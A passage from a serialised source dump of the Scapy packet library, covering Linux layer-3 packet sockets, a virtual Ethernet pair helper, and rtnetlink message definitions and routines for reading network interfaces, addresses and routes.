L3PacketSocket(L2Socket):\n    desc = \"read/write packets at layer 3 using Linux PF_PACKET sockets\"\n\n    def __init__(self,\n                 iface=None,  # type: Optional[Union[str, NetworkInterface]]\n                 type=ETH_P_ALL,  # type: int\n                 promisc=None,  # type: Optional[Any]\n                 filter=None,  # type: Optional[Any]\n                 nofilter=0,  # type: int\n                 monitor=None,  # type: Optional[Any]\n                 ):\n        self.send_socks = {}\n        super(L3PacketSocket, self).__init__(\n            iface=iface,\n            type=type,\n            promisc=promisc,\n            filter=filter,\n            nofilter=nofilter,\n            monitor=monitor,\n        )\n        self.filter = filter\n        self.send_socks = {network_name(self.iface): self}\n\n    def recv(self, x=MTU, **kwargs):\n        # type: (int, **Any) -> Optional[Packet]\n        pkt = SuperSocket.recv(self, x, **kwargs)\n        if pkt and self.lvl == 2:\n            pkt.payload.time = pkt.time\n            return pkt.payload\n        return pkt\n\n    def send(self, x):\n        # type: (Packet) -> int\n        # Select the file descriptor to send the packet on.\n        iff = x.route()[0]\n        if iff is None:\n            iff = network_name(conf.iface)\n        type_x = type(x)\n        if iff not in self.send_socks:\n            self.send_socks[iff] = L3PacketSocket(\n                iface=iff,\n                type=conf.l3types.layer2num.get(type_x, self.type),\n                filter=self.filter,\n                promisc=self.promisc,\n            )\n        sock = self.send_socks[iff]\n        fd = sock.outs\n        if sock.lvl == 3:\n            if not issubclass(sock.LL, type_x):\n                warning(\"Incompatible L3 types detected using %s instead of %s !\",\n                        type_x, sock.LL)\n                sock.LL = type_x\n        if sock.lvl == 2:\n            sx = bytes(sock.LL() / x)\n        else:\n            sx = bytes(x)\n        # Now send.\n        try:\n            x.sent_time = time.time()\n        except AttributeError:\n            pass\n        try:\n            return fd.send(sx)\n        except socket.error as msg:\n            if msg.errno == 22 and len(sx) < conf.min_pkt_size:\n                return fd.send(\n                    sx + b\"\\x00\" * (conf.min_pkt_size - len(sx))\n                )\n            elif conf.auto_fragment and msg.errno == 90:\n                i = 0\n                for p in x.fragment():\n                    i += fd.send(bytes(self.LL() / p))\n                return i\n            else:\n                raise\n\n    @staticmethod\n    def select(sockets, remain=None):\n        # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket]\n        socks = []  # type: List[SuperSocket]\n        for sock in sockets:\n            if isinstance(sock, L3PacketSocket):\n                socks += sock.send_socks.values()\n            else:\n                socks.append(sock)\n        return L2Socket.select(socks, remain=remain)\n\n    def close(self):\n        # type: () -> None\n        if self.closed:\n            return\n        super(L3PacketSocket, self).close()\n        for fd in self.send_socks.values():\n            if fd is not self:\n                fd.close()\n\n\nclass VEthPair(object):\n    \"\"\"\n    encapsulates a virtual Ethernet interface pair\n    \"\"\"\n\n    def __init__(self, iface_name, peer_name):\n        # type: (str, str) -> None\n        if not LINUX:\n            # ToDo: do we need a kernel version check here?\n            raise ScapyInvalidPlatformException(\n                'Virtual Ethernet interface pair only available on Linux'\n            )\n\n        self.ifaces = [iface_name, peer_name]\n\n    def iface(self):\n        # type: () -> str\n        return self.ifaces[0]\n\n    def peer(self):\n        # type: () -> str\n        return self.ifaces[1]\n\n    def setup(self):\n        # type: () -> None\n        \"\"\"\n        create veth pair links\n        :raises subprocess.CalledProcessError if operation fails\n        \"\"\"\n        subprocess.check_call(['ip', 'link', 'add', self.ifaces[0], 'type', 'veth', 'peer', 'name', self.ifaces[1]])  # noqa: E501\n\n    def destroy(self):\n        # type: () -> None\n        \"\"\"\n        remove veth pair links\n        :raises subprocess.CalledProcessError if operation fails\n        \"\"\"\n        subprocess.check_call(['ip', 'link', 'del', self.ifaces[0]])\n\n    def up(self):\n        # type: () -> None\n        \"\"\"\n        set veth pair links up\n        :raises subprocess.CalledProcessError if operation fails\n        \"\"\"\n        for idx in [0, 1]:\n            subprocess.check_call([\"ip\", \"link\", \"set\", self.ifaces[idx], \"up\"])  # noqa: E501\n\n    def down(self):\n        # type: () -> None\n        \"\"\"\n        set veth pair links down\n        :raises subprocess.CalledProcessError if operation fails\n        \"\"\"\n        for idx in [0, 1]:\n            subprocess.check_call([\"ip\", \"link\", \"set\", self.ifaces[idx], \"down\"])  # noqa: E501\n\n    def __enter__(self):\n        # type: () -> VEthPair\n        self.setup()\n        self.up()\n        conf.ifaces.reload()\n        return self\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        # type: (Any, Any, Any) -> None\n        self.destroy()\n        conf.ifaces.reload()\n"
  },
  {
    "path": "scapy/arch/linux/rtnetlink.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nThis file implements the rtnetlink API that is used to read the network\nconfiguration of the machine.\n\"\"\"\n\nimport socket\nimport struct\nimport time\n\nimport scapy.utils6\n\nfrom scapy.consts import BIG_ENDIAN\nfrom scapy.config import conf\nfrom scapy.error import log_loading\nfrom scapy.packet import (\n    Packet,\n    bind_layers,\n)\nfrom scapy.utils import atol, itom\n\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    EnumField,\n    Field,\n    FieldLenField,\n    FlagsField,\n    IP6Field,\n    IPField,\n    LenField,\n    MACField,\n    MayEnd,\n    MultipleTypeField,\n    PacketListField,\n    PadField,\n    StrLenField,\n    XStrLenField,\n)\n\nfrom scapy.arch.common import _iff_flags\n\n# Typing imports\nfrom typing import (\n    Any,\n    Dict,\n    List,\n    Optional,\n    Tuple,\n    Type,\n)\n\n# from <linux/netlink.h> and <linux/rtnetlink.h>\n\n\n# Common header\n\n\nclass rtmsghdr(Packet):\n    fields_desc = [\n        LenField(\"nlmsg_len\", None, fmt=\"=L\"),\n        EnumField(\n            \"nlmsg_type\",\n            0,\n            {\n                # netlink.h\n                3: \"NLMSG_DONE\",\n                # rtnetlink.h\n                16: \"RTM_NEWLINK\",\n                17: \"RTM_DELLINK\",\n                18: \"RTM_GETLINK\",\n                19: \"RTM_SETLINK\",\n                20: \"RTM_NEWADDR\",\n                21: \"RTM_DELADDR\",\n                22: \"RTM_GETADDR\",\n                # 23: unused\n                24: \"RTM_NEWROUTE\",\n                25: \"RTM_DELROUTE\",\n                26: \"RTM_GETROUTE\",\n                # 27: unused\n            },\n            fmt=\"=H\",\n        ),\n        FlagsField(\n            \"nlmsg_flags\",\n            0,\n            16 if BIG_ENDIAN else -16,\n            {\n                0x01: \"NLM_F_REQUEST\",\n                0x02: \"NLM_F_MULTI\",\n                0x04: \"NLM_F_ACK\",\n                0x08: \"NLM_F_ECHO\",\n                0x10: \"NLM_F_DUMP_INTR\",\n                0x20: \"NLM_F_DUMP_FILTERED\",\n                # GET modifiers\n                0x100: \"NLM_F_ROOT\",\n                0x200: \"NLM_F_MATCH\",\n                0x400: \"NLM_F_ATOMIC\",\n            },\n        ),\n        Field(\"nlmsg_seq\", 0, fmt=\"=L\"),\n        Field(\"nlmsg_pid\", 0, fmt=\"=L\"),\n    ]\n\n    def post_build(self, pkt: bytes, pay: bytes) -> bytes:\n        pkt += pay\n        if self.nlmsg_len is None:\n            pkt = struct.pack(\"=L\", len(pkt)) + pkt[4:]\n        return pkt\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, Optional[bytes]]:\n        return s[: self.nlmsg_len - 16], s[self.nlmsg_len - 16 :]\n\n    def answers(self, other: Packet) -> bool:\n        return bool(other.nlmsg_seq == self.nlmsg_seq)\n\n\n# DONE\n\n\nclass nlmsgerr_rtattr(Packet):\n    fields_desc = [\n        FieldLenField(\n            \"rta_len\", None, length_of=\"rta_data\", fmt=\"=H\", adjust=lambda _, x: x + 4\n        ),\n        EnumField(\n            \"rta_type\",\n            0,\n            {},\n            fmt=\"=H\",\n        ),\n        PadField(\n            MultipleTypeField(\n                [],\n                StrLenField(\n                    \"rta_data\",\n                    b\"\",\n                    length_from=lambda pkt: pkt.rta_len - 4,\n                ),\n            ),\n            align=4,\n        ),\n    ]\n\n    def default_payload_class(self, payload: bytes) -> Type[Packet]:\n        return conf.padding_layer\n\n\nclass nlmsgerr(Packet):\n    fields_desc = [\n        MayEnd(Field(\"status\", 0, fmt=\"=L\")),\n        # Pay\n        PacketListField(\"data\", [], nlmsgerr_rtattr),\n    ]\n\n\nbind_layers(rtmsghdr, nlmsgerr, nlmsg_type=3)\n\n\n# LINK messages\n\n\nclass ifla_af_spec_inet_rtattr(Packet):\n    fields_desc = [\n        FieldLenField(\n            \"rta_len\", None, length_of=\"rta_data\", fmt=\"=H\", adjust=lambda _, x: x + 4\n        ),\n        EnumField(\n            \"rta_type\",\n            0,\n            {\n                0x00: \"IFLA_INET_UNSPEC\",\n                0x01: \"IFLA_INET_CONF\",\n            },\n            fmt=\"=H\",\n        ),\n        PadField(\n            MultipleTypeField(\n                [],\n                XStrLenField(\n                    \"rta_data\",\n                    b\"\",\n                    length_from=lambda pkt: pkt.rta_len - 4,\n                ),\n            ),\n            align=4,\n        ),\n    ]\n\n    def default_payload_class(self, payload: bytes) -> Type[Packet]:\n        return conf.padding_layer\n\n\nclass ifla_af_spec_inet6_rtattr(Packet):\n    fields_desc = [\n        FieldLenField(\n            \"rta_len\", None, length_of=\"rta_data\", fmt=\"=H\", adjust=lambda _, x: x + 4\n        ),\n        EnumField(\n            \"rta_type\",\n            0,\n            {\n                0x00: \"IFLA_INET6_UNSPEC\",\n                0x01: \"IFLA_INET6_FLAGS\",\n                0x02: \"IFLA_INET6_CONF\",\n                0x03: \"IFLA_INET6_STATS\",\n                0x04: \"IFLA_INET6_MCAST\",\n                0x05: \"IFLA_INET6_CACHEINFO\",\n                0x06: \"IFLA_INET6_ICMP6STATS\",\n                0x07: \"IFLA_INET6_TOKEN\",\n                0x08: \"IFLA_INET6_ADDR_GEN_MODE\",\n                0x09: \"IFLA_INET6_RA_MTU\",\n            },\n            fmt=\"=H\",\n        ),\n        PadField(\n            MultipleTypeField(\n                [],\n                XStrLenField(\n                    \"rta_data\",\n                    b\"\",\n                    length_from=lambda pkt: pkt.rta_len - 4,\n                ),\n            ),\n            align=4,\n        ),\n    ]\n\n    def default_payload_class(self, payload: bytes) -> Type[Packet]:\n        return conf.padding_layer\n\n\nclass ifla_af_spec_rtattr(Packet):\n    fields_desc = [\n        FieldLenField(\n            \"rta_len\", None, length_of=\"rta_data\", fmt=\"=H\", adjust=lambda _, x: x + 4\n        ),\n        EnumField(\"rta_type\", 0, socket.AddressFamily, fmt=\"=H\"),\n        PadField(\n            MultipleTypeField(\n                [\n                    (\n                        # AF_INET\n                        PacketListField(\n                            \"rta_data\",\n                            [],\n                            ifla_af_spec_inet_rtattr,\n                            length_from=lambda pkt: pkt.rta_len - 4,\n                        ),\n                        lambda pkt: pkt.rta_type == 2,\n                    ),\n                    (\n                        # AF_INET6\n                        PacketListField(\n                            \"rta_data\",\n                            [],\n                            ifla_af_spec_inet6_rtattr,\n                            length_from=lambda pkt: pkt.rta_len - 4,\n                        ),\n                        lambda pkt: pkt.rta_type == 10,\n                    ),\n                ],\n                XStrLenField(\n                    \"rta_data\",\n                    b\"\",\n                    length_from=lambda pkt: pkt.rta_len - 4,\n                ),\n            ),\n            align=4,\n        ),\n    ]\n\n    def default_payload_class(self, payload: bytes) -> Type[Packet]:\n        return conf.padding_layer\n\n\nclass ifinfomsg_rtattr(Packet):\n    fields_desc = [\n        FieldLenField(\n            \"rta_len\", None, length_of=\"rta_data\", fmt=\"=H\", adjust=lambda _, x: x + 4\n        ),\n        EnumField(\n            \"rta_type\",\n            0,\n            {\n                0x00: \"IFLA_UNSPEC\",\n                0x01: \"IFLA_ADDRESS\",\n                0x02: \"IFLA_BROADCAST\",\n                0x03: \"IFLA_IFNAME\",\n                0x04: \"IFLA_MTU\",\n                0x05: \"IFLA_LINK\",\n                0x06: \"IFLA_QDISC\",\n                0x07: \"IFLA_STATS\",\n                0x08: \"IFLA_COST\",\n                0x09: \"IFLA_PRIORITY\",\n                0x0A: \"IFLA_MASTER\",\n                0x0B: \"IFLA_WIRELESS\",\n                0x0C: \"IFLA_PROTINFO\",\n                0x0D: \"IFLA_TXQLEN\",\n                0x0E: \"IFLA_MAP\",\n                0x0F: \"IFLA_WEIGHT\",\n                0x10: \"IFLA_OPERSTATE\",\n                0x11: \"IFLA_LINKMODE\",\n                0x12: \"IFLA_LINKINFO\",\n                0x13: \"IFLA_NET_NS_PID\",\n                0x14: \"IFLA_IFALIAS\",\n                0x15: \"IFLA_NUM_VS\",\n                0x16: \"IFLA_VFINFO_LIST\",\n                0x17: \"IFLA_STATS64\",\n                0x18: \"IFLA_VF_PORTS\",\n                0x19: \"IFLA_PORT_SELF\",\n                0x1A: \"IFLA_AF_SPEC\",\n                0x1B: \"IFLA_GROUP\",\n                0x1C: \"IFLA_NET_NS_FD\",\n                0x1D: \"IFLA_EXT_MASK\",\n                0x1E: \"IFLA_PROMISCUITY\",\n                0x1F: \"IFLA_NUM_TX_QUEUES\",\n                0x20: \"IFLA_NUM_RX_QUEUES\",\n                0x21: \"IFLA_CARRIER\",\n                0x22: \"IFLA_PHYS_PORT_ID\",\n                0x23: \"IFLA_CARRIER_CHANGES\",\n                0x24: \"IFLA_PHYS_SWITCH_ID\",\n                0x25: \"IFLA_LINK_NETNSID\",\n                0x26: \"IFLA_PHYS_PORT_NAME\",\n                0x27: \"IFLA_PROTO_DOWN\",\n                0x28: \"IFLA_GSO_MAX_SEGS\",\n                0x29: \"IFLA_GSO_MAX_SIZE\",\n                0x2A: \"IFLA_PAD\",\n                0x2B: \"IFLA_XDP\",\n                0x2C: \"IFLA_EVENT\",\n                0x2D: \"IFLA_NEW_NETNSID\",\n                0x2E: \"IFLA_IF_NETNSID\",\n                0x2F: \"IFLA_CARRIER_UP_COUNT\",\n                0x30: \"IFLA_CARRIER_DOWN_COUNT\",\n                0x31: \"IFLA_NEW_IFINDEX\",\n                0x32: \"IFLA_MIN_MTU\",\n                0x33: \"IFLA_MAX_MTU\",\n                0x34: \"IFLA_PROP_LIST\",\n                0x35: \"IFLA_ALT_IFNAME\",\n                0x36: \"IFLA_PERM_ADDRESS\",\n                0x37: \"IFLA_PROTO_DOWN_REASON\",\n                0x38: \"IFLA_PARENT_DEV_NAME\",\n                0x39: \"IFLA_PARENT_DEV_BUS_NAME\",\n                0x3A: \"IFLA_GRO_MAX_SIZE\",\n                0x3B: \"IFLA_TSO_MAX_SIZE\",\n                0x3C: \"IFLA_TSO_MAX_SEGS\",\n                0x3D: \"IFLA_ALLMULTI\",\n            },\n            fmt=\"=H\",\n        ),\n        PadField(\n            MultipleTypeField(\n                [\n                    (\n                        # IFLA_ADDRESS\n                        MACField(\"rta_data\", \"00:00:00:00:00:00\"),\n                        lambda pkt: pkt.rta_type in [0x01, 0x36],\n                    ),\n                    (\n                        # IFLA_IFNAME\n                        StrLenField(\n                            \"rta_data\", b\"\", length_from=lambda pkt: pkt.rta_len - 4\n                        ),\n                        lambda pkt: pkt.rta_type in [0x03],\n                    ),\n                    (\n                        # IFLA_AF_SPEC\n                        PacketListField(\n                            \"rta_data\",\n                            [],\n                            ifla_af_spec_rtattr,\n                            length_from=lambda pkt: pkt.rta_len - 4,\n                        ),\n                        lambda pkt: pkt.rta_type == 0x1A,\n                    ),\n                ],\n                XStrLenField(\n                    \"rta_data\",\n                    b\"\",\n                    length_from=lambda pkt: pkt.rta_len - 4,\n                ),\n            ),\n            align=4,\n        ),\n    ]\n\n    def default_payload_class(self, payload: bytes) -> Type[Packet]:\n        return conf.padding_layer\n\n\nclass ifinfomsg(Packet):\n    fields_desc = [\n        ByteEnumField(\"ifi_family\", 0, socket.AddressFamily),\n        ByteField(\"res\", 0),\n        Field(\"ifi_type\", 0, fmt=\"=H\"),\n        Field(\"ifi_index\", 0, fmt=\"=i\"),\n        FlagsField(\n            \"ifi_flags\",\n            0,\n            32 if BIG_ENDIAN else -32,\n            _iff_flags,\n        ),\n        Field(\"ifi_change\", 0, fmt=\"=I\"),\n        # Pay\n        PacketListField(\"data\", [], ifinfomsg_rtattr),\n    ]\n\n\nbind_layers(rtmsghdr, ifinfomsg, nlmsg_type=16)\nbind_layers(rtmsghdr, ifinfomsg, nlmsg_type=17)\nbind_layers(rtmsghdr, ifinfomsg, nlmsg_type=18)\nbind_layers(rtmsghdr, ifinfomsg, nlmsg_type=19)\n\n\n# ADDR messages\n\n\nclass ifaddrmsg_rtattr(Packet):\n    fields_desc = [\n        FieldLenField(\n            \"rta_len\", None, length_of=\"rta_data\", fmt=\"=H\", adjust=lambda _, x: x + 4\n        ),\n        EnumField(\n            \"rta_type\",\n            0,\n            {\n                0x00: \"IFA_UNSPEC\",\n                0x01: \"IFA_ADDRESS\",\n                0x02: \"IFA_LOCAL\",\n                0x03: \"IFA_LABEL\",\n                0x04: \"IFA_BROADCAST\",\n                0x05: \"IFA_ANYCAST\",\n                0x06: \"IFA_CACHEINFO\",\n                0x07: \"IFA_MULTICAST\",\n                0x08: \"IFA_FLAGS\",\n                0x09: \"IFA_RT_PRIORITY\",\n                0x0A: \"IFA_TARGET_NETNSID\",\n                0x0B: \"IFA_PROTO\",\n            },\n            fmt=\"=H\",\n        ),\n        PadField(\n            MultipleTypeField(\n                [\n                    # IFA_ADDRESS, IFA_LOCAL, IFA_BROADCAST\n                    (\n                        IPField(\"rta_data\", \"0.0.0.0\"),\n                        lambda pkt: pkt.parent\n                        and pkt.parent.ifa_family == 2\n                        and pkt.rta_type in [0x01, 0x02, 0x04],\n                    ),\n                    (\n                        IP6Field(\"rta_data\", \"::\"),\n                        lambda pkt: pkt.parent\n                        and pkt.parent.ifa_family == 10\n                        and pkt.rta_type in [0x01, 0x02, 0x04],\n                    ),\n                    (\n                        # IFA_LABEL\n                        StrLenField(\n                            \"rta_data\", b\"\", length_from=lambda pkt: pkt.rta_len - 4\n                        ),\n                        lambda pkt: pkt.rta_type in [0x03],\n                    ),\n                ],\n                XStrLenField(\n                    \"rta_data\",\n                    b\"\",\n                    length_from=lambda pkt: pkt.rta_len - 4,\n                ),\n            ),\n            align=4,\n        ),\n    ]\n\n    def default_payload_class(self, payload: bytes) -> Type[Packet]:\n        return conf.padding_layer\n\n\nclass ifaddrmsg(Packet):\n    fields_desc = [\n        ByteEnumField(\"ifa_family\", 0, socket.AddressFamily),\n        ByteField(\"ifa_prefixlen\", 0),\n        FlagsField(\n            \"ifa_flags\",\n            0,\n            -8,\n            {\n                0x01: \"IFA_F_SECONDARY\",\n                0x02: \"IFA_F_NODAD\",\n                0x04: \"IFA_F_OPTIMISTIC\",\n                0x08: \"IFA_F_DADFAILED\",\n                0x10: \"IFA_F_HOMEADDRESS\",\n                0x20: \"IFA_F_DEPRECATED\",\n                0x40: \"IFA_F_TENTATIVE\",\n                0x80: \"IFA_F_PERMANENT\",\n            },\n        ),\n        ByteField(\"ifa_scope\", 0),\n        Field(\"ifa_index\", 0, fmt=\"=L\"),\n        # Pay\n        PacketListField(\"data\", [], ifaddrmsg_rtattr),\n    ]\n\n\nbind_layers(rtmsghdr, ifaddrmsg, nlmsg_type=20)\nbind_layers(rtmsghdr, ifaddrmsg, nlmsg_type=21)\nbind_layers(rtmsghdr, ifaddrmsg, nlmsg_type=22)\n\n\n# ROUTE messages\n\n\nRT_CLASS = {\n    0: \"RT_TABLE_UNSPEC\",\n    252: \"RT_TABLE_COMPAT\",\n    253: \"RT_TABLE_DEFAULT\",\n    254: \"RT_TABLE_MAIN\",\n    255: \"RT_TABLE_LOCAL\",\n}\n\n\nclass rtmsg_rtattr(Packet):\n    fields_desc = [\n        FieldLenField(\n            \"rta_len\", None, length_of=\"rta_data\", fmt=\"=H\", adjust=lambda _, x: x + 4\n        ),\n        EnumField(\n            \"rta_type\",\n            0,\n            {\n                0x00: \"RTA_UNSPEC\",\n                0x01: \"RTA_DST\",\n                0x02: \"RTS_SRC\",\n                0x03: \"RTS_IIF\",\n                0x04: \"RTS_OIF\",\n                0x05: \"RTA_GATEWAY\",\n                0x06: \"RTA_PRIORITY\",\n                0x07: \"RTA_PREFSRC\",\n                0x08: \"RTA_METRICS\",\n                0x09: \"RTA_MULTIPATH\",\n                0x0B: \"RTA_FLOW\",\n                0x0C: \"RTA_CACHEINFO\",\n                0x0F: \"RTA_TABLE\",\n                0x10: \"RTA_MARK\",\n                0x11: \"RTA_MFC_STATS\",\n                0x12: \"RTA_VIA\",\n                0x13: \"RTA_NEWDST\",\n                0x14: \"RTA_PREF\",\n                0x15: \"RTA_ENCAP_TYPE\",\n                0x16: \"RTA_ENCAP\",\n                0x17: \"RTA_EXPIRES\",\n                0x18: \"RTA_PAD\",\n                0x19: \"RTA_UID\",\n                0x1A: \"RTA_TTL_PROPAGATE\",\n                0x1B: \"RTA_IP_PROTO\",\n                0x1C: \"RTA_SPORT\",\n                0x1D: \"RTA_DPORT\",\n                0x1E: \"RTA_NH_ID\",\n            },\n            fmt=\"=H\",\n        ),\n        PadField(\n            MultipleTypeField(\n                [\n                    # RTA_DST, RTA_SRC, RTA_PREFSRC, RTA_GATEWAY\n                    (\n                        IPField(\"rta_data\", \"0.0.0.0\"),\n                        lambda pkt: pkt.parent\n                        and pkt.parent.rtm_family == 2\n                        and pkt.rta_type in [0x01, 0x02, 0x05, 0x07],\n                    ),\n                    (\n                        IP6Field(\"rta_data\", \"::\"),\n                        lambda pkt: pkt.parent\n                        and pkt.parent.rtm_family == 10\n                        and pkt.rta_type in [0x01, 0x02, 0x05, 0x07],\n                    ),\n                    # RTS_OIF, RTA_PRIORITY\n                    (\n                        Field(\"rta_data\", 0, fmt=\"=I\"),\n                        lambda pkt: pkt.rta_type in [0x04, 0x06, 0x10],\n                    ),\n                    # RTA_TABLE\n                    (\n                        EnumField(\"rta_data\", 0, RT_CLASS, fmt=\"=I\"),\n                        lambda pkt: pkt.rta_type in [0x0F],\n                    ),\n                ],\n                XStrLenField(\n                    \"rta_data\",\n                    b\"\",\n                    length_from=lambda pkt: pkt.rta_len - 4,\n                ),\n            ),\n            align=4,\n        ),\n    ]\n\n    def default_payload_class(self, payload: bytes) -> Type[Packet]:\n        return conf.padding_layer\n\n\nclass rtmsg(Packet):\n    fields_desc = [\n        ByteEnumField(\"rtm_family\", 0, socket.AddressFamily),\n        ByteField(\"rtm_dst_len\", 0),\n        ByteField(\"rtm_src_len\", 0),\n        ByteField(\"rtm_tos\", 0),\n        ByteEnumField(\n            \"rtm_table\",\n            0,\n            RT_CLASS,\n        ),\n        ByteEnumField(\n            \"rtm_protocol\",\n            0,\n            {\n                0x00: \"RTPROT_UNSPEC\",\n                0x01: \"RTPROT_REDIRECT\",\n                0x02: \"RTPROT_KERNEL\",\n                0x03: \"RTPROT_BOOT\",\n                0x04: \"RTPROT_STATIC\",\n            },\n        ),\n        ByteEnumField(\n            \"rtm_scope\",\n            0,\n            {\n                0: \"RT_SCOPE_UNIVERSE\",\n                200: \"RT_SCOPE_SITE\",\n                253: \"RT_SCOPE_LINK\",\n                254: \"RT_SCOPE_HOST\",\n                255: \"RT_SCOPE_NOWHERE\",\n            },\n        ),\n        ByteEnumField(\n            \"rtm_type\",\n            0,\n            {\n                0x00: \"RTN_UNSPEC\",\n                0x01: \"RTN_UNICAST\",\n                0x02: \"RTN_LOCAL\",\n                0x03: \"RTN_BROADCAST\",\n                0x04: \"RTN_ANYCAST\",\n                0x05: \"RTN_MULTICAST\",\n                0x06: \"RTN_BLACKHOLE\",\n                0x07: \"RTN_UNREACHABLE\",\n                0x08: \"RTN_PROHIBIT\",\n                0x09: \"RTN_THROW\",\n                0x0A: \"RTN_NAT\",\n                0x0B: \"RTN_XRESOLVE\",\n            },\n        ),\n        FlagsField(\n            \"rtm_flags\",\n            0,\n            32 if BIG_ENDIAN else -32,\n            {\n                0x100: \"RTM_F_NOTIFY\",\n                0x200: \"RTM_F_CLONED\",\n                0x400: \"RTM_F_EQUALIZE\",\n                0x800: \"RTM_F_PREFIX\",\n                0x1000: \"RTM_F_LOOKUP_TABLE\",\n                0x2000: \"RTM_F_FIB_MATCH\",\n                0x4000: \"RTM_F_OFFLOAD\",\n                0x8000: \"RTM_F_TRAP\",\n                0x20000000: \"RTM_F_OFFLOAD_FAILED\",\n            },\n        ),\n        # Pay\n        PacketListField(\"data\", [], rtmsg_rtattr),\n    ]\n\n\nbind_layers(rtmsghdr, rtmsg, nlmsg_type=24)\nbind_layers(rtmsghdr, rtmsg, nlmsg_type=25)\nbind_layers(rtmsghdr, rtmsg, nlmsg_type=26)\n\n\nclass rtmsghdrs(Packet):\n    fields_desc = [\n        PacketListField(\n            \"msgs\",\n            [],\n            rtmsghdr,\n            # 65535 / len(rtmsghdr)\n            max_count=4096,\n        ),\n    ]\n\n\n# Utils\n\n\nSOL_NETLINK = 270\nNETLINK_EXT_ACK = 11\nNETLINK_GET_STRICT_CHK = 12\n\n\ndef _sr1_rtrequest(pkt: Packet) -> List[Packet]:\n    \"\"\"\n    Send / Receive a rtnetlink request\n    \"\"\"\n    # Create socket\n    sock = socket.socket(\n        socket.AF_NETLINK,\n        socket.SOCK_RAW | socket.SOCK_CLOEXEC,\n        socket.NETLINK_ROUTE,\n    )\n    # Configure socket\n    sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 32768)\n    sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1048576)\n    try:\n        sock.setsockopt(SOL_NETLINK, NETLINK_EXT_ACK, 1)\n    except OSError:\n        # Linux 4.12+ only\n        pass\n    sock.bind((0, 0))  # bind to kernel\n    try:\n        sock.setsockopt(SOL_NETLINK, NETLINK_GET_STRICT_CHK, 1)\n    except OSError:\n        # Linux 4.20+ only\n        pass\n    # Request routes\n    sock.send(bytes(rtmsghdrs(msgs=[pkt])))\n    results: List[Packet] = []\n    try:\n        while True:\n            msgs = rtmsghdrs(sock.recv(65535))\n            if not msgs:\n                log_loading.warning(\"Failed to read the routes using RTNETLINK !\")\n                return []\n            for msg in msgs.msgs:\n                # Keep going until we find the end of the MULTI format\n                if not msg.nlmsg_flags.NLM_F_MULTI or msg.nlmsg_type == 3:\n                    if msg.nlmsg_type == 3 and nlmsgerr in msg and msg.status != 0:\n                        # NLMSG_DONE with errors\n                        if msg.data and msg.data[0].rta_type == 1:\n                            log_loading.debug(\n                                \"Scapy RTNETLINK error on %s: '%s'. Please report !\",\n                                pkt.sprintf(\"%nlmsg_type%\"),\n                                msg.data[0].rta_data.decode(),\n                            )\n                            return []\n                    return results\n                results.append(msg)\n    finally:\n        sock.close()\n\n\ndef _get_ips(af_family=socket.AF_UNSPEC):\n    # type: (socket.AddressFamily) -> Dict[int, List[Dict[str, Any]]]\n    \"\"\"\n    Return a mapping of all interfaces IP using a NETLINK socket.\n    \"\"\"\n    results = _sr1_rtrequest(\n        rtmsghdr(\n            nlmsg_type=\"RTM_GETADDR\",\n            nlmsg_flags=\"NLM_F_REQUEST+NLM_F_ROOT+NLM_F_MATCH\",\n            nlmsg_seq=int(time.time()),\n        )\n        / ifaddrmsg(\n            ifa_family=af_family,\n            data=[],\n        )\n    )\n    ips: Dict[int, List[Dict[str, Any]]] = {}\n    for msg in results:\n        ifindex = msg.ifa_index\n        address = None\n        family = msg.ifa_family\n        local = None\n        for attr in msg.data:\n            if attr.rta_type == 0x01:  # IFA_ADDRESS\n                address = attr.rta_data\n            elif attr.rta_type == 0x02:  # IFA_LOCAL\n                local = attr.rta_data\n        # include/uapi/linux/if_addr.h: for point-to-point links, IFA_LOCAL is the local\n        # interface address and IFA_ADDRESS is the peer address\n        local_address = local if local is not None else address\n        if local_address is not None:\n            data = {\n                \"af_family\": family,\n                \"index\": ifindex,\n                \"address\": local_address,\n            }\n            if family == 10:  # ipv6\n                data[\"scope\"] = scapy.utils6.in6_getscope(local_address)\n            ips.setdefault(ifindex, list()).append(data)\n    return ips\n\n\ndef _get_if_list():\n    # type: () -> Dict[int, Dict[str, Any]]\n    \"\"\"\n    Read the interfaces list using a NETLINK socket.\n    \"\"\"\n    results = _sr1_rtrequest(\n        rtmsghdr(\n            nlmsg_type=\"RTM_GETLINK\",\n            nlmsg_flags=\"NLM_F_REQUEST+NLM_F_ROOT+NLM_F_MATCH\",\n            nlmsg_seq=int(time.time()),\n        )\n        / ifinfomsg(\n            data=[],\n        )\n    )\n    lifips = _get_ips()\n    interfaces = {}\n    for msg in results:\n        ifindex = msg.ifi_index\n        ifname = None\n        mac = \"00:00:00:00:00:00\"\n        itype = msg.ifi_type\n        ifflags = msg.ifi_flags\n        ips = []\n        for attr in msg.data:\n            if attr.rta_type == 0x01:  # IFLA_ADDRESS\n                mac = attr.rta_data\n            elif attr.rta_type == 0x03:  # IFLA_NAME\n                ifname = attr.rta_data[:-1].decode()\n        if ifname is not None:\n            if ifindex in lifips:\n                ips = lifips[ifindex]\n            interfaces[ifindex] = {\n                \"name\": ifname,\n                \"index\": ifindex,\n                \"flags\": ifflags,\n                \"mac\": mac,\n                \"type\": itype,\n                \"ips\": ips,\n            }\n    return interfaces\n\n\ndef in6_getifaddr():\n    # type: () -> List[Tuple[str, int, str]]\n    \"\"\"\n    Returns a list of 3-tuples of the form (addr, scope, iface) where\n    'addr' is the address of scope 'scope' associated to the interface\n    'iface'.\n\n    This is the list of all addresses of all interfaces available on\n    the system.\n    \"\"\"\n    ips = _get_ips(af_family=socket.AF_INET6)\n    ifaces = _get_if_list()\n    result = []\n    for intip in ips.values():\n        for ip in intip:\n            if ip[\"index\"] in ifaces:\n                result.append((ip[\"address\"], ip[\"scope\"], ifaces[ip[\"index\"]][\"name\"]))\n    return result\n\n\ndef _read_routes(af_family):\n    # type: (socket.AddressFamily) -> List[Packet]\n    \"\"\"\n    Read routes using a NETLINK socket.\n    \"\"\"\n    results = []\n    for rttable in [\"RT_TABLE_LOCAL\", \"RT_TABLE_MAIN\"]:\n        results.extend(\n            _sr1_rtrequest(\n                rtmsghdr(\n        